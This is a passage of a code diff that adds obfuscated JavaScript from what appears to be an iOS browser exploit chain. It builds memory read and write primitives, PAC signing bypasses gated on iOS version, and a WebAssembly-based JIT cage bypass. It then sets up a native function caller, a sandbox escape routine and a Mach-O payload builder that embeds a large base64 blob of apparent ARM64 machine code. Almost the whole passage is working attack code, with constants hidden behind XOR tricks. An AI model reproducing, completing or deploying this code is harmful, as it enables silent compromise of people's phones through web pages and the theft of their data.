exploitPrimitive.readDoubleAsPointer(this.Dd); + return toInt64(exploitPrimitive.readDoubleAsPointer(l + platformModule.platformState.versionFlags.OaAgtr)); + } { + let l, i; + !0 === this.Wd ? (l = toInt64(0), i = toInt64(b)) : (l = toInt64(b), i = toInt64(0)); + a.jd(toInt64(this.vd), toInt64(this.Hd), l, i, toInt64(0), toInt64(0), toInt64(0), toInt64(this.Dd), toInt64(this.xd)); + const c = exploitPrimitive.readDoubleAsPointer(this.Dd); + return toInt64(exploitPrimitive.readDoubleAsPointer(c + platformModule.platformState.versionFlags.VEwXfI)); + } + } + } + const ob = SandboxEscape; + + // ── Caller setup: JIT cage + PAC-aware function caller ─────────────────── + r._d = function () { + const b = new Uint8Array([0, 97, 115 /* 1095004022 ^ 1095003909 */, 109 /* 1985967730 ^ 1985967647 */, 1, 0, 0, 0, 1, 52, 3, 96, 8, 126 /* 1715618890 ^ 1715618868 */, 126 /* 945378655 ^ 945378593 */, 126 /* 1249474426 ^ 1249474308 */, 126 /* 1181824566 ^ 1181824584 */, 126 /* 2033281843 ^ 2033281869 */, 126 /* 1717982278 ^ 1717982264 */, 126 /* 1933989986 ^ 1933989916 */, 126 /* 1382770740 ^ 1382770762 */, 1, 126 /* 1414352481 ^ 1414352415 */, 96, 16, 127 /* 961760612 ^ 961760539 */, 127 /* 1231309909 ^ 1231309866 */, 127 /* 1278570084 ^ 1278570011 */, 127 /* 1768847212 ^ 1768847123 */, 127 /* 1362448754 ^ 1362448653 */, 127 /* 895576141 ^ 895576114 */, 127 /* 1651007796 ^ 1651007819 */, 127 /* 2018784865 ^ 2018784798 */, 127 /* 811550054 ^ 811549977 */, 127 /* 878987359 ^ 878987296 */, 127 /* 1179416642 ^ 1179416637 */, 127 /* 1214541361 ^ 1214541390 */, 127 /* 1748323640 ^ 1748323655 */, 127 /* 913137508 ^ 913137435 */, 127 /* 1449684561 ^ 1449684526 */, 127 /* 1162765395 ^ 1162765356 */, 1, 126 /* 1802843974 ^ 1802843960 */, 96, 16, 127 /* 929985397 ^ 929985290 */, 127 /* 1329022024 ^ 1329022007 */, 127 /* 812017463 ^ 812017480 */, 127 /* 1632925293 ^ 1632925202 */, 127 /* 1280664375 ^ 1280664392 */, 127 /* 1366189101 ^ 1366189138 */, 127 /* 1601794376 ^ 1601794359 */, 127 /* 1732735854 ^ 1732735761 */, 127 /* 1834113130 ^ 1834113045 */, 127 /* 1764574069 ^ 1764573962 */, 127 /* 1802454644 ^ 1802454539 */, 127 /* 1734296951 ^ 1734296840 */, 127 /* 1163409721 ^ 1163409734 */, 127 /* 2002138949 ^ 2002138938 */, 127 /* 2037148983 ^ 2037149000 */, 127 /* 1934714674 ^ 1934714701 */, 0, 3, 5, 4, 0, 1, 1, 2, 4, 4, 1, 112 /* 1800626797 ^ 1800626717 */, 0, 2, 5, 4, 1, 1, 1, 1, 7, 17, 4, 1, 116 /* 1230981687 ^ 1230981699 */, 1, 0, 1, 109 /* 911626091 ^ 911625990 */, 2, 0, 1, 111 /* 1415730531 ^ 1415730444 */, 0, 0, 1, 102 /* 930040423 ^ 930040321 */, 0, 3, 9, 7, 1, 0, 65, 0, 11, 1, 0, 10, 194 /* 1366057288 ^ 1366057354 */, 1, 4, 4, 0, 66, 0, 11, 88, 0, 32, 1, 173 /* 1480021817 ^ 1480021908 */, 66, 32, 134 /* 894260306 ^ 894260436 */, 32, 0, 173 /* 1249536360 ^ 1249536453 */, 132 /* 1800760907 ^ 1800761039 */, 32, 3, 173 /* 1865511219 ^ 1865511326 */, 66, 32, 134 /* 1416909384 ^ 1416909518 */, 32, 2, 173 /* 1747807553 ^ 1747807724 */, 132 /* 1249395042 ^ 1249395174 */, 32, 5, 173 /* 1265906739 ^ 1265906846 */, 66, 32, 134 /* 1668893776 ^ 1668893910 */, 32, 4, 173 /* 1298548567 ^ 1298548730 */, 132 /* 1666087220 ^ 1666087344 */, 32, 7, 173 /* 1396852072 ^ 1396852165 */, 66, 32, 134 /* 1651731525 ^ 1651731651 */, 32, 6, 173 /* 912871494 ^ 912871659 */, 132 /* 830027088 ^ 830027220 */, 32, 9, 173 /* 1231253601 ^ 1231253708 */, 66, 32, 134 /* 1111779704 ^ 1111779838 */, 32, 8, 173 /* 1195722029 ^ 1195722112 */, 132 /* 1667392120 ^ 1667392252 */, 32, 11, 173 /* 843329881 ^ 843330036 */, 66, 32, 134 /* 844443969 ^ 844444103 */, 32, 10, 173 /* 910644067 ^ 910644174 */, 132 /* 1496930153 ^ 1496930285 */, 32, 13, 173 /* 1214656619 ^ 1214656710 */, 66, 32, 134 /* 1700033587 ^ 1700033717 */, 32, 12, 173 /* 1496348264 ^ 1496348357 */, 132 /* 828651377 ^ 828651509 */, 32, 15, 173 /* 1870283635 ^ 1870283742 */, 66, 32, 134 /* 1450077538 ^ 1450077668 */, 32, 14, 173 /* 1987144267 ^ 1987144422 */, 132 /* 1752586038 ^ 1752586162 */, 65, 0, 17, 0, 0, 15, 11, 37, 0, 32, 0, 32, 1, 32, 2, 32, 3, 32, 4, 32, 5, 32, 6, 32, 7, 32, 8, 32, 9, 32, 10, 32, 11, 32, 12, 32, 13, 32, 14, 32, 15, 16, 1, 15, 11, 60, 1, 1, 126 /* 1331185994 ^ 1331185972 */, 32, 0, 32, 1, 32, 2, 32, 3, 32, 4, 32, 5, 32, 6, 32, 7, 32, 8, 32, 9, 32, 10, 32, 11, 32, 12, 32, 13, 32, 14, 32, 15, 16, 2, 33, 16, 65, 0, 32, 16, 167 /* 1866806125 ^ 1866806218 */, 54, 2, 0, 65, 4, 32, 16, 66, 32, 136 /* 1734690661 ^ 1734690797 */, 167 /* 1682197608 ^ 1682197711 */, 54, 2, 0, 15, 11]).buffer, // WASM module for indirect call table — enables JIT cage bypass + a = new WebAssembly.Module(b, {}), + l = new WebAssembly.Instance(a, {}), + i = l.exports.f, + c = l.exports.o, + o = new Uint32Array(l.exports.m.buffer); + let d = null, + h = null; + null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc && (d = platformModule.cr().dlsym("jitCagePtr"), h = pacBypass.pacda(Int64.fromNumber(d), Int64.fromNumber(0))); // jitCagePtr: JIT cage pointer for PAC bypass + for (let b = 0; b < 100000 /* 2036681291 ^ 2036649195 */; b++) try {// JIT warmup for indirect call + i(); + } catch (b) { } + const g = utilityModule.Int64.fromNumber(9389 /* 1111844678 ^ 1111835627 */); /* discriminator for PAC signing */ + platformState.caller = { + jd(b, ...a) { + const l = platformModule.zn; + if (b instanceof Int64 == !1) throw new Error("b instanceof Int64 == !1"); + if (b.Et()) throw new Error("b.Et()"); + if (a.length > 8) throw new Error("a.length > 8"); + const d = new Array(16); + let s = 0; + for (const b in a) { + const l = a[b]; + if (a[b] instanceof Int64 == !1) throw new Error("a[b] instanceof Int64 == !1"); + d[s] = l.it, d[s + 1] = l.et, s += 2; + } + const t = function (b) { + const a = exploitPrimitive.addrof(b); + return exploitPrimitive.readRawBigInt(a + platformModule.platformState.versionFlags.rvXShf); + }(c), + I = l.exploitPrimitive.readInt64FromOffset(t); + if (null !== l.pacBypass) { + if (!0 === platformModule.platformState.qn) { + if (platformModule.platformState.iOSVersion >= 170200 /* 828723297 ^ 828885177 */) throw new Error("platformModule.platformState.iOSVersion >= 170200 /* 828723297 ^ 828885177 */"); + b = l.pacBypass.tc(h, b, g); + } else b = l.pacBypass.pacia(b, g); + } else + if (!0 === platformState.hasPAC) throw new Error("!0 === platformState.hasPAC"); + l.exploitPrimitive.writeInt64ToOffset(t, b); + try { + i(...d); + } finally { + l.exploitPrimitive.writeInt64ToOffset(t, I); + } + const y = utilityModule.S(o[0]), + e = utilityModule.S(o[1]); + return new utilityModule.Int64(y, e); + } + }; + }, r.qd = function () { + platformState.sandboxEscape = SandboxEscapeBase.newInstance(); + }; + + window.log("Done b5135768e043d1b362977b8ba9bff678b9946bcb"); + return r; // End of middle module (JIT cage + caller setup) +}); + +// ════════════════════════════════════════════════════════════════════════════ +// Outer module: Mach-O payload builder + sandbox escape entry +// ════════════════════════════════════════════════════════════════════════════ +let r = {}; + +const platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), + utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + { + N: G + } = utilityModule, + intToUnicodeEscape = utilityModule.intToUnicodeEscape, + gA = utilityModule, + DA = 1002 /* 1749956218 ^ 1749955984 */; /* Mach-O section alignment (2^10 = 1024) */ +// ── Offset64 class (MA) — 64-bit offset arithmetic ────────────────────── +class Offset64 {/* Original: MA → Offset64 */ + static fromUnsigned(A) { + return new Offset64(A >>> 0, A / 0x100000000 >>> 0); + } + static st(A) { return this.fromUnsigned(A); } + constructor(A, g) { + this.it = A >>> 0, this.et = g >>> 0; + } + add(A) { + const g = this.et; + let D = this.it; + return D += A, new Offset64(D, g); + } + xor(A) { + const g = this.it ^ A.it, + D = this.et ^ A.et; + return new Offset64(g >>> 0, D >>> 0); + } + gA(A) { + let g = 0; + return g = A, Offset64.fromUnsigned(this.toNumber() + g); + } + sub(A) { + return this.add(-A); + } + DA(A) { + return this.gA(-A); + } + MA() { + return 0 !== this.et || this.it > 4096 /* 1667446127 ^ 1667442031 */ && this.it < 7516192768 /* 4294967296 + (2003270000 ^ -1217955472) */; + } + Et() { + return 0 === this.et && 0 === this.it; + } + toString() { + return this.et.toString(16) + "`" + this.it.toString(16); + } + ct() { + return 4294967296 * this.et + this.it; + } +} + +// ── Mach-O binary builder function (CA) ────────────────────────────────── +function CA(A, g, D, M, C, I, w, Q, B, N, E, T, U, L, s, k, F, S, Y, y, o, x, c) {/* Original: CA → buildMachOBinary */ + var i = ""; + return i += intToUnicodeEscape(335544368 /* 1949592169 ^ 1614047833 */), i += intToUnicodeEscape(335544387 /* 1702197064 ^ 1903523595 */), i += intToUnicodeEscape(A.it), i += intToUnicodeEscape(A.et), i += intToUnicodeEscape(g.it), i += intToUnicodeEscape(g.et), i += intToUnicodeEscape(D.it), i += intToUnicodeEscape(D.et), i += intToUnicodeEscape(M.it), i += intToUnicodeEscape(M.et), i += intToUnicodeEscape(C), i += intToUnicodeEscape(0), i += intToUnicodeEscape(I.it), i += intToUnicodeEscape(I.et), i += intToUnicodeEscape(w.it), i += intToUnicodeEscape(w.et), i += intToUnicodeEscape(Q.it), i += intToUnicodeEscape(Q.et), i += intToUnicodeEscape(B.it), i += intToUnicodeEscape(B.et), i += intToUnicodeEscape(N.it), i += intToUnicodeEscape(N.et), i += intToUnicodeEscape(E.it), i += intToUnicodeEscape(E.et), i += intToUnicodeEscape(T.it), i += intToUnicodeEscape(T.et), i += intToUnicodeEscape(U.it), i += intToUnicodeEscape(U.et), i += intToUnicodeEscape(L.it), i += intToUnicodeEscape(L.et), i += intToUnicodeEscape(s.it), i += intToUnicodeEscape(s.et), i += intToUnicodeEscape(F.it), i += intToUnicodeEscape(F.et), i += intToUnicodeEscape(S.it), i += intToUnicodeEscape(S.et), i += intToUnicodeEscape(k.it), i += intToUnicodeEscape(k.et), i += intToUnicodeEscape(Y.it), i += intToUnicodeEscape(Y.et), i += intToUnicodeEscape(y.it), i += intToUnicodeEscape(y.et), i += intToUnicodeEscape(o.it), i += intToUnicodeEscape(o.et), i += intToUnicodeEscape(x.it), i += intToUnicodeEscape(x.et), i += intToUnicodeEscape(c.it), i += intToUnicodeEscape(c.et), i += gA.base64DecodeUtf16("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